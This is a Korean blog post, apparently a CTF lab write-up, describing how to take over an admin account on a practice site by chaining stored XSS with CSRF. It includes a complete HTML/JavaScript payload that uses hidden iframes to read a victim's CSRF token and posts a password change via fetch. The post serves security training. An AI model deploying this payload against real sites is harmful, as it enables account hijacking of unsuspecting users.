[CTF] GET Admin 3

CHIKAยท2024๋…„ 7์›” 10์ผ
post-thumbnail

๐Ÿ“Œ
CSRF (Cross Site Request Forgery) ๋ž€?
CSRF ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•

1. mypage.php ํ™•์ธ


ID : xcvb , PW : xcvb ๋กœ ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ - ๋งˆ์ดํŽ˜์ด์ง€
์ถ”๊ฐ€ ์ธ์ฆ์ •๋ณด ์ž…๋ ฅ ์นธ์ด ์—†๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜๊ณ  ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ ์š”์ฒญ.

csrf_token ๊ฐ’์ด ํ•จ๊ป˜ ์ „์†ก๋˜๊ณ  ์žˆ๋‹ค.

mypage.php์— ์ ‘์† ์‹œ csrf ํ† ํฐ์„ ๋ฐœํ–‰ํ•ด์ฃผ๊ณ  ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜๋Š” ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ csrf ํ† ํฐ์„ ํ•จ๊ป˜ ๋ณด๋ƒ„์œผ๋กœ์จ ์‚ฌ์šฉ์ž๊ฐ€ ๋งˆ์ดํŽ˜์ด์ง€์—์„œ ์š”์ฒญ์„ ๋ณด๋‚ด๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ ๊ฐ™๋‹ค.

ํ•˜์ง€๋งŒ ์ด๋ ‡๊ฒŒ ๋งŒ๋“ค๋ฉด XSS ์ทจ์•ฝ์ ์ด ์žˆ์„ ์‹œ csrf ํ† ํฐ์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋‹ค.

2. Method ํ™•์ธ



POST์š”์ฒญ์„ change requestํ•ด์„œ GET์œผ๋กœ ๋ณด๋ƒˆ๋”๋‹ˆ ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•จ.
XSS ์ทจ์•ฝ์ ์„ ์ฐพ์•„ csrf ํ† ํฐ์„ ํƒˆ์ทจ ํ›„ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ์„ ์š”์ฒญํ•˜๊ฒŒ ๋งŒ๋“ค์–ด๋ณด์ž.

3. XSS ์ทจ์•ฝ์  ํ™•์ธ


ํšŒ์›๊ฐ€์ž… - ๋กœ๊ทธ์ธ - ๊ฒŒ์‹œํŒ - ๊ธ€์“ฐ๊ธฐ ์—์„œ
ํŠน์ˆ˜๋ฌธ์ž ์‚ฝ์ž…๊ฐ€๋Šฅ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด test<'"> ์ž…๋ ฅ

HTML Entity๋กœ ์น˜ํ™˜๋˜์ง€ ์•Š์Œ. XSS์— ์ทจ์•ฝํ•  ํ™•๋ฅ ์ด ํผ.

4. CSRF ๊ณต๊ฒฉ


1) CSRF ํ† ํฐ์„ ํƒˆ์ทจํ•˜๊ณ  2) ์ด ํ† ํฐ์„ form ํƒœ๊ทธ์— ๋„ฃ์–ด๋ณด๋‚ด์ž.
๋จผ์ € CSRF ํ† ํฐ์„ ํƒˆ์ทจํ•˜๋Š” ์•…์„ฑ์ฝ”๋“œ๋ฅผ ๊ฒŒ์‹œ๊ธ€์— ์‚ฝ์ž…ํ–ˆ๋‹ค.

DOMData๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•ด mypage.php ํ™•์ธ.
name = "csrf_token" ์„ ์ด์šฉํ•˜์ž.

๊ด€๋ฆฌ์ž๊ฐ€ ํ•ด๋‹น ๊ฒŒ์‹œ๊ธ€์„ ํด๋ฆญํ•˜๊ฒŒ ์œ ๋„ํ•œ ํ›„
CSRFํ† ํฐ์„ ํƒˆ์ทจํ•˜์—ฌ ๋‚ด ๊ณต๊ฒฉ์ž ์„œ๋ฒ„์— ๋ณด๋‚ผ ๊ฒƒ์ด๋‹ค.

๊ทธ๋ฆฌ๊ณ  ํƒˆ์ทจํ•œ CSRFํ† ํฐ์„ value์— ๋„ฃ์–ด ๋‹ค๋ฅธ ๊ฒŒ์‹œ๊ธ€์„ ์˜ฌ๋ฆฌ์ž.

ํ•ด๋‹น ๊ฒŒ์‹œ๋ฌผ URL์„ ๊ด€๋ฆฌ์ž ๋ด‡์—๊ฒŒ ๋ณด๋‚ด๋ฉด ๊ด€๋ฆฌ์ž๊ฐ€ URL์— ์ ‘์†์€ ํ•˜์ง€๋งŒ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ์ด ๋˜์ง€ ์•Š๋Š”๋‹ค.
์ƒ๊ฐํ•ด๋ณด๋‹ˆ ๊ธ€์„ ๋‘ ๊ฐœ๋‚˜ ํด๋ฆญํ•ด์•ผ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š”๊ฑด ์ข€ ์ด์ƒํ•˜๋‹ค.

ํ† ํฐ ํƒˆ์ทจ์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ์š”์ฒญ(ํ† ํฐ๊ฐ’ ํฌํ•จ)์„ ๋™์‹œ์— ํ•ด์•ผํ•˜๋Š”๋ฐ value์— ํƒˆ์ทจํ•œ ํ† ํฐ๊ฐ’์„ ์–ด๋–ป๊ฒŒ ๋„ฃ์ง€?

fetch๋ฅผ ์ด์šฉํ•˜๋ฉด ๋œ๋‹ค.

๐Ÿ”Ž fetch ๋ž€?

์›น ๊ฐœ๋ฐœ์—์„œ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” JavaScript ํ•จ์ˆ˜๋กœ, ์„œ๋ฒ„๋กœ ๋ถ€ํ„ฐ ๋ฆฌ์†Œ์Šค๋ฅผ ๋น„๋™๊ธฐ์ ์œผ๋กœ ๊ฐ€์ ธ์˜ฌ ๋•Œ ์‚ฌ์šฉํ•จ.
์ฃผ๋กœ ๋„คํŠธ์›Œํฌ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ์‘๋‹ต์„ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ.

fetch('URL', {
  method: 'POST', // HTTP ๋ฉ”์„œ๋“œ ์ง€์ •
  headers: {
    'Content-Type': 'application/json' // ์š”์ฒญ ํ—ค๋” ์„ค์ •
  },
  body: JSON.stringify({
    key1: 'value1',
    key2: 'value2'
  }) // ์š”์ฒญ ๋ณธ๋ฌธ ์„ค์ •
})
  .then(response => response.json())
  .catch(error => console.error('Error:', error));
  • then : 'Promise'* ๊ฐ€ ์„ฑ๊ณต์ ์œผ๋กœ ์™„๋ฃŒ๋˜์—ˆ์„ ๋•Œ ํ˜ธ์ถœ๋˜๋Š” ๋ฉ”์„œ๋“œ. ์‘๋‹ต์ฒ˜๋ฆฌ
  • catch : 'Promise' ๊ฐ€ ์‹คํŒจํ–ˆ์„ ๋•Œ ํ˜ธ์ถœ๋˜๋Š” ๋ฉ”์„œ๋“œ. ์˜ค๋ฅ˜์ฒ˜๋ฆฌ
  • Promise ๋ž€?
    JavaScript์—์„œ ๋น„๋™๊ธฐ ์ž‘์—…์„ ์ฒ˜๋ฆฌํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ๊ฐ์ฒด.
    ํ˜„์žฌ๋Š” ์•Œ ์ˆ˜ ์—†์ง€๋งŒ, ๋ฏธ๋ž˜์— ์™„๋ฃŒ๋  ์ž‘์—…์„ ๋‚˜ํƒ€๋‚ด๋ฉฐ, ์„ฑ๊ณต ๋˜๋Š” ์‹คํŒจํ•œ ๊ฒฐ๊ณผ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค.

mypage_update.php์˜ ํ—ค๋”๋ฅผ ์ฐธ๊ณ ํ•˜์—ฌ
์•„๋ž˜์˜ ์ฝ”๋“œ๋ฅผ ๊ฒŒ์‹œ๊ธ€๋กœ ์ž‘์„ฑํ•˜์ž.

<!--post ์š”์ฒญ์„ ๋ณด๋‚ด๊ธฐ ์œ„ํ•œ iframe-->
<iframe name="stealthFrame" style="display:none;"></iframe>
<!--csrf ํ† ํฐ ํƒˆ์ทจ๋ฅผ ์œ„ํ•œ iframe-->
<iframe src="http://ctf.segfaulthub.com:7575/csrf_3/mypage.php" 
        id="targetFrame" style="display:none;"></iframe>
<form method="POST" action="http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php" 
      id="myForm" target="stealthFrame">
    <!--๋ณ€๊ฒฝํ•  ๋น„๋ฐ€๋ฒˆํ˜ธ์ธ 1234-->
    <input type= "hidden" name="pw" value="1234">
    <!-- csrf_token ๊ฐ’์„ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์—์„œ ์„ค์ •ํ•  ์˜ˆ์ • -->
    <input type= "hidden" name="csrf_token" id="csrf_token"> 
  
</form>

<script>
    // csrf_token ๊ฐ’์„ ๊ฐ€์ ธ์˜ค๋Š” ๋ถ€๋ถ„
    var targetTag = document.getElementById('targetFrame');
    targetTag.onload = function() {
    var DOMData = targetTag.contentDocument;
	var csrfToken = DOMData.getElementsByName('csrf_token')[0].value;
    document.getElementById('csrf_token').value = csrfToken; // ํผ ํ•„๋“œ์— csrf_token ๊ฐ’์„ ์„ค์ •
        submitForm(); // ํผ์„ ์ œ์ถœํ•˜๋Š” ํ•จ์ˆ˜ ํ˜ธ์ถœ
    };

    function submitForm() {
        // fetch๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํผ ๋ฐ์ดํ„ฐ๋ฅผ ์„œ๋ฒ„๋กœ ์ „์†ก
        fetch('http://ctf.segfaulthub.com:7575/csrf_3/mypage_update.php', {
            method: 'POST',
            headers: { // mypage_update.php์˜ ํ—ค๋” ๊ฐ€์ ธ์˜ค๊ธฐ
                'Host': 'ctf.segfaulthub.com:7575',
                'Content-Length': '69',
                'Cache-Control': 'max-age=0',
                'Accept-Language': 'ko-KR',
                'Upgrade-Insecure-Requests': '1',
                'Origin': 'http://ctf.segfaulthub.com:7575',
                'Content-Type': 'application/x-www-form-urlencoded',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36',
                'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
                'Referer': 'http://ctf.segfaulthub.com:7575/csrf_3/mypage.php',
                'Accept-Encoding': 'gzip, deflate, br'
            },
            body: new URLSearchParams(new FormData(document.getElementById('myForm'))).toString()
        })
        .then(response => response.json())
        .catch(error => console.error('Fetch error:', error));
    }
</script>


๊ฒŒ์‹œ๊ธ€์„ ํ™•์ธํ•˜๋ฉด mypage.php ์—์„œ csrf ํ† ํฐ์„ ํƒˆ์ทจํ•˜์—ฌ mypage_update.php์— ๋ณ€๊ฒฝํ•  ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ ํ•จ๊ป˜ ๋ณด๋‚ธ๋‹ค.

5. ๊ด€๋ฆฌ์ž ๊ณ„์ • ํƒˆ์ทจ


ํ•ด๋‹น ๊ฒŒ์‹œ๊ธ€ URL (http://ctf.segfaulthub.com:7575/csrf_3/notice_read.php?id=314&view=1)์„ ๊ด€๋ฆฌ์ž ๋ด‡์—๊ฒŒ ๋ณด๋‚ธํ›„ ๊ด€๋ฆฌ์ž๊ฐ€ ์ ‘์†ํ•˜๋ฉด,

ID : xcvb_admin , PW : 1234 ๋กœ ๋กœ๊ทธ์ธํ•ด๋ณด์ž.

๊ด€๋ฆฌ์ž ๊ณ„์ • ํƒˆ์ทจ ์™„๋ฃŒ!

0๊ฐœ์˜ ๋Œ“๊ธ€